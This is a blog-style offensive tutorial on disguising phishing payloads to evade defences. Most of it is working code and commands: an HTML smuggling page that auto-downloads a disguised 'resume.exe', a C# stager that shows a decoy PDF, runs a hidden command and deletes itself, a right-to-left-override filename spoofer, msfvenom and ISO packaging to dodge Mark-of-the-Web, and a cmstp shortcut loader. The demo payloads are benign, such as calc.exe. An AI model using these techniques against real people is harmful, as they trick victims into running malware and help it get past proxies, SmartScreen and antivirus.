Disguising Client Side Payloads

Phishing it a common tactic used to gain access to organisations. This article is looking at some techniques that can be used to increase the effectiveness of Phishing campaigns, including;


HTML Smuggling

Many web and email proxies block executable content based on file extensions and MIME types. However, we can encode executables as Base64 text streams, and unpack it using client side JavaScript.

First, we need to generate some JavaScript that decodes a base64 encoded file and saves it to disk.

Save the following file as template.html.

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Automatic Execution</title>
</head>
<body onload="unpackAndDownload()">
  <script>
    function unpackAndDownload() {
      var base64Data = "{{ payload }}"; // The given base64 encoded string
      var binaryData = atob(base64Data); // Decoding base64 data
      // Creating a Blob object from binary data
      var blob = new Blob([binaryData], { type: 'text/plain' });
      // Creating an anchor element to trigger download
      var downloadLink = document.createElement('a');
      downloadLink.href = window.URL.createObjectURL(blob);
      downloadLink.download = 'resume.exe';
      // Triggering the download
      downloadLink.click();
    }
  </script>
</body>
</html>

Note the {{payload}} tag. This will be populated using the following Python script;

#!/usr/bin/env python3
import base64
import sys

def file_to_base64(filename):
    try:
        print("Encoding")
        with open(filename, "rb") as file:
            file_content = file.read()
            base64_content = base64.b64encode(file_content)
            base64_string = base64_content.decode('utf-8')
            return base64_string
    except FileNotFoundError:
        print("File not found:", filename)
        return None

def apply_template(template_file, output_file, replacements):
    with open(template_file, 'r') as template_file:
        template_content = template_file.read()
        for key, value in replacements.items():
            template_content = template_content.replace('{{ ' + key + ' }}', str(value))
    with open(output_file, 'w') as output:
        output.write(template_content)

def main():
    if len(sys.argv) < 2:
        print("Usage: python smuggle.py <filename>")
        return
    filename = sys.argv[1]
    base64_string = file_to_base64(filename)
    replacements = {
        'payload': base64_string,
    }
    apply_template('template.html', 'payload.html', replacements)
    print(filename +  " written to payload.html")

if __name__ == "__main__":
    main()

Running the code produces a HTML file that when opened downloads our executable file stored within it, effectivly getting past web proxies that block .exe files.

python3 smuggle.py shell.exe 
shell.exe written to payload.html

Icon Swapping

Although this is a cheap technique, it does work. When writing our stager in Visual Studio, we can can the executables icon to a document format, in the hopes that someone will click on it thinking it’s a document.

To help with the ruse, we can embed an actual PDF file into the executable so it opens when clicked, and delete the existing loader. Create a folder in the project called Resources, copy the PDF into it and set it as an embedded resource.

The following code will open the PDF file, execute a payload and then delete the initial stager;

using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;

namespace IconSwap
{
    internal class Program
    {
        public static void SaveStreamToFile(string fileFullPath, Stream stream)
        {
            if (stream.Length == 0) return;

            // Create a FileStream object to write a stream to a file
            using (FileStream fileStream = System.IO.File.Create(fileFullPath, (int)stream.Length))
            {
                // Fill the bytes[] array with the stream data
                byte[] bytesInStream = new byte[stream.Length];
                stream.Read(bytesInStream, 0, (int)bytesInStream.Length);

                // Use FileStream object to write to the specified file
                fileStream.Write(bytesInStream, 0, bytesInStream.Length);
            }
        }

        static void exec_payload()
        {
            // Put something sensible in here...
            System.Diagnostics.Process process = new System.Diagnostics.Process();
            System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
            startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
            startInfo.FileName = "cmd.exe";
            String arguments = @"/c calc.exe";
            startInfo.Arguments = arguments;
            process.StartInfo = startInfo;
            process.Start();
        }

        static void Main(string[] args)
        {
            //Open Document
            Assembly thisAssembly;
            thisAssembly = Assembly.GetExecutingAssembly();
            Stream someStream;
            someStream = thisAssembly.GetManifestResourceStream("IconSwap.Resources.pdf_sample.pdf");
            String OutputLocation = @"pdf_sample.pdf";
            SaveStreamToFile(OutputLocation, someStream);
            System.Diagnostics.Process.Start(OutputLocation);

            string documentsPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
            var directory = new DirectoryInfo(documentsPath);
            string commonPath = directory.Parent.FullName;

            exec_payload();

            //Delete ourself
            Process.Start(new ProcessStartInfo()
            {
                Arguments = "/C choice /C Y /N /D Y /T 3 & Del \"" + System.Reflection.Assembly.GetExecutingAssembly().Location + "\"", 
                WindowStyle = ProcessWindowStyle.Hidden,
                CreateNoWindow = true,
                FileName = "cmd.exe"
            });

        }
    }
}

The resulting executable file looks like a PDF, assuming they don’t have show file extensions enabled (which isn’t the default view). Once opened, our commands will execute the PDF will be displayed and the initial stagger will delete itself.


RTLO Attacks

Windows allows Unicode characters within filenames. By including the characters ‘\u202e’ we can force text to be displayed right to left to the user (A Right to Left Override).

For instance, when using the script listed at the end of this section, payload.exe is renamed;

python3 rtlo.py payload.exe
Writing filename b'payload\xe2\x80\xaefdp.exe'

In explorer, it appears the file has a .PDF extension;

Although doing a directory listing in a DOS prompt will show it’s real extension;

 Directory of C:\Users\user\Desktop\Folder
14/03/2024  19:37    <DIR>          .
14/03/2024  19:37    <DIR>          ..
14/03/2024  19:29             6,656 payload‮fdp.exe

Code to generate the file name is as follows.

#!/usr/bin/python

import sys
import os
import shutil

file = sys.argv[1]
exists = os.path.isfile(file)

if not exists:
    print('File not found.')
else:
    newname = (file.split('.')[0] + u'\u202e' + ".pdf"[::-1]  + file.split('.')[1]).encode('utf-8')
    print("Writing filename " + str(newname))
    shutil.copy(file, newname)


ISO Files

Files downloaded from the Internet are appended with a NTDS Alternate Data Stream called Zone Identifier. Smartscreen uses this information to determine if a user should be warned before running a file. We can create a payload in Kali and add it to an ISO;

mkdir FILES
msfvenom -p windows/x64/exec CMD="calc.exe" -f exe -o FILES/payload.exe

mkisofs -o test.iso FILES
I: -input-charset not specified, using utf-8 (detected in locale settings)
Total translation table size: 0
Total rockridge attributes bytes: 0
Total directory bytes: 0
Path table size(bytes): 10
Max brk space used 0
178 extents written (0 MB)

Downloading this file to a test system, we can see the ISO file contains a Zone Identifier value showing it was downloaded from the Internet;

PS C:\Users\user\Desktop> Get-Content .\test.iso -Stream Zone.Identifier
[ZoneTransfer]
ZoneId=3
ReferrerUrl=http://192.168.1.82/
HostUrl=http://192.168.1.82/test.iso

Clicking the ISO will mount it as a virtual CD-ROM drive. We can see the payload file does not contain the zone identifier as this isn’t supported by the CDFS filesystem.

PS F:\> Get-Content .\PAYLOAD.EXE -Stream Zone.Identifier
Get-Content : Could not open the alternate data stream 'Zone.Identifier' of the file 'F:\PAYLOAD.EXE'.
At line:1 char:1
+ Get-Content .\PAYLOAD.EXE -Stream Zone.Identifier
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (F:\PAYLOAD.EXE:String) [Get-Content], FileNotFoundException
    + FullyQualifiedErrorId : GetContentReaderFileNotFoundError,Microsoft.PowerShell.Commands.GetContentCommand

Unfortunately, in newer versions of Windows you will still receive a SmartScreen prompt when attempting to execute the file. However, another benefit of this approach is if a file contained within the mounted ISO is detected as malicious, Windows Defender will be unable to remove the file since it’s on a read only file system 🥳


Shortcut (link) files can be used to launch native operating system commands with commands. This could be used to redirect a user to a SMB share (to intercept NTLM-SSP credentials), or to execute PowerShell one liners.

However, in this example we’re going to be looking at another executable built into Windows, cmstp . cmstp.exe accepts a configuration file as a parameter. This configuration file can in turn specify a DLL to be loaded. The three files (Link file, config file, DLL file) can then be wrapped up in an ISO file for delivery.

import os
import win32com.client
import textwrap

def create_shortcut(target, shortcut_name, shortcut_dir, arguments=""):
    shell = win32com.client.Dispatch("WScript.Shell")
    shortcut = shell.CreateShortCut(os.path.join(shortcut_dir, shortcut_name + ".lnk"))
    shortcut.Targetpath = target
    shortcut.Arguments = arguments
    shortcut.save()

def write_config(config_filename):
    config_string = textwrap.dedent('''\
    [version]
    Signature=$chicago$
    AdvancedINF=2.5
    [DefaultInstall_SingleUser]
    RegisterOCXs=RegisterOCXSection
    [RegisterOCXSection]
    F:\\MessageBoxDLL.dll
    [Strings]
    AppAct = "SOFTWARE\\Microsoft\\Connection Manager"
    ServiceName="bordergate"
    ShortSvcName="bordergate"
''')
    current_directory = os.getcwd()
    file_path = os.path.join(current_directory, config_filename)
    with open(file_path, 'w') as file:
        file.write(config_string)

def main():
    target_path = "cmstp.exe"
    shortcut_name = "MyShortcut"
    shortcut_directory = "C:\\Users\\user\\Desktop"
    arguments = "/s config.ini"
    create_shortcut(target_path, shortcut_name, shortcut_directory, arguments)
    write_config("config.ini")

if __name__ == "__main__":
    main()

In Conclusion

With Macro enabled documents becoming less viable, it’s worth having a number of other execution strategies. It’s also worth trying ClickOnce installers.